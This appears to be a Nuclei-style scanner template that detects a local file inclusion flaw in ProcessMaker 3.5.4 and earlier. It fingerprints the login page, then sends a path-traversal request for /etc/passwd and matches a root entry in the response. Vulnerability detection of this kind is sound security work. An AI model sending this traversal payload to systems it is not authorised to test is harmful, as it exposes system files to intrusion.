id: processmaker-lfi

info:
  name: ProcessMaker <=3.5.4 - Local File Inclusion
  author: KrE80r
  severity: high
  description: ProcessMaker 3.5.4 and prior is vulnerable to local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/50229
    - https://www.processmaker.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: processmaker,lfi,edb

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "ProcessMaker"
          - "processmaker_login.png"
        condition: and

  - raw:
      - |
        GET /../../../..//etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100aaf5fdc8ea0c482eaf077dc72c736e3f886d182cf353e032dbbbf2fa43516bb4022100c6be899540aa22fb8390d0c193cbe70424b91547d263188d8139249c65269e80:922c64590222798bb761d5b6d8e72950